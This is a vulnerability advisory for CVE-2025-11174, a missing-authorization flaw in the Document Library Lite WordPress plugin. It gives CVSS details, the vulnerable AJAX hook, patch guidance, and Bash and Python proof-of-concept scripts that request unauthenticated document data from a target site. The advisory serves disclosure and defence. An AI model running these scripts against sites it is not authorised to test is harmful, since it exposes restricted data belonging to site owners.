CVE-2025-11174: Unauthenticated Information Disclosure in Document Library Lite WordPress Plugin

Keywords: CVE-2025-11174, Document Library Lite vulnerability, information disclosure, WordPress security, unauthenticated AJAX exploit, WordPress plugin vulnerability, CWE-862, WordPress document plugin security, authorization bypass, WordPress CVE 2025

Table of Contents

• Overview
• Vulnerability Details
• Technical Analysis
• Attack Vector
• Proof of Concept
• Remediation Guide
• Detection
• CVSS Metrics
• References
• Credits
• Security Contact

Overview

Document Library Lite WordPress Plugin Information Disclosure Vulnerability (CVE-2025-11174) - Security flaw allowing unauthenticated access to sensitive document data in WordPress document library plugin.

A critical authorization bypass vulnerability was discovered in the Document Library Lite WordPress Plugin that allows unauthenticated attackers to access sensitive document information without proper authentication.

Discovered by: Kai Aizen & Avraham Shemesh (SnailSploit)
Published: November 1, 2025
CVSS Score: 5.3 (Medium)
CWE: CWE-862 - Missing Authorization
Plugin: Document Library Lite
Vendor: Barn2 Plugins
Attack Type: Unauthenticated Information Disclosure
Required Privileges: None (Unauthenticated Attack)

Vulnerability Details

Description

The Document Library Lite plugin for WordPress contains an improper authorization vulnerability in all versions up to and including 1.1.6. The plugin exposes an unauthenticated AJAX action dll_load_posts which returns a JSON table of document data without performing nonce or capability checks.

Impact

This vulnerability allows unauthenticated attackers to:

• Access document metadata without authorization
• Retrieve document listings that should be restricted
• View document information intended for authenticated users only
• Enumerate documents stored in the Document Library

Note: The CVSS score of 5.3 (Medium severity) reflects limited information disclosure. While the vulnerability allows unauthenticated access to document data, the impact is rated as Low for confidentiality with no integrity or availability impact.

Affected Versions

• Vulnerable: All versions ≤ 1.1.6
• Patched: Version 1.1.7 and above

CVSS v3.1 Metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Metric	Value
Attack Vector	Network (AV:N)
Attack Complexity	Low (AC:L)
Privileges Required	None (PR:N)
User Interaction	None (UI:N)
Scope	Unchanged (S:U)
Confidentiality	Low (C:L)
Integrity	None (I:N)
Availability	None (A:N)

CVSS v3.1 Breakdown:

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over a network
• Attack Complexity (AC): Low - No special conditions are required for exploitation
• Privileges Required (PR): None - No authentication or privileges are required
• User Interaction (UI): None - The exploit works without any user interaction
• Scope (S): Unchanged - The vulnerability only affects the vulnerable component
• Confidentiality Impact (C): Low - Limited information disclosure
• Integrity Impact (I): None - No integrity impact
• Availability Impact (A): None - No availability impact

Technical Details

Vulnerability Root Cause

The AJAX action dll_load_posts is registered without proper authentication or authorization checks:

// Vulnerable code pattern (simplified)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');

The wp_ajax_nopriv_ prefix indicates this action is accessible to non-authenticated users, and the callback function does not implement:

• Nonce verification
• Capability checks
• User authentication validation

Attack Vector

POST /wp-admin/admin-ajax.php
action=dll_load_posts

The vulnerability can be exploited through the WordPress admin-ajax.php endpoint without authentication.

Proof of Concept

⚠️ For Educational and Authorized Testing Purposes Only

Bash PoC

#!/bin/bash
# CVE-2025-11174 PoC

TARGET_URL="$1"

if [ -z "$TARGET_URL" ]; then
    echo "Usage: $0 <target_url>"
    echo "Example: $0 https://example.com"
    exit 1
fi

echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""

# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=dll_load_posts" \
  | python3 -m json.tool

echo ""
echo "[+] If you see document data above, the site is vulnerable!"

Python PoC

#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json

def exploit(target_url):
    ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
    
    print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] AJAX Endpoint: {ajax_url}\n")
    
    data = {'action': 'dll_load_posts'}
    
    try:
        response = requests.post(ajax_url, data=data, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request successful!\n")
            try:
                json_data = response.json()
                print("[+] Retrieved document data:")
                print(json.dumps(json_data, indent=2))
                print("\n[!] Site is VULNERABLE to CVE-2025-11174")
            except json.JSONDecodeError:
                print("[-] No JSON response received")
                print(f"Response: {response.text[:200]}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        print(f"Example: {sys.argv[0]} https://example.com")
        sys.exit(1)
    
    target = sys.argv[1]
    exploit(target)

Remediation

For Site Administrators

Immediate Action Required:

1. Update to Document Library Lite version 1.1.7 or later immediately
2. Review your site's access logs for suspicious POST requests to admin-ajax.php with action=dll_load_posts
3. If you cannot update immediately, consider temporarily disabling the plugin

Update Instructions

Via WordPress Admin:

1. Navigate to Plugins > Installed Plugins in WordPress admin
2. Locate "Document Library Lite"
3. Click Update Now to upgrade to version 1.1.7 or later
4. Verify the update was successful

Using WP-CLI:

wp plugin update document-library-lite

For Plugin Developers

Ensure all AJAX handlers implement proper security controls:

// Example of proper AJAX security
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');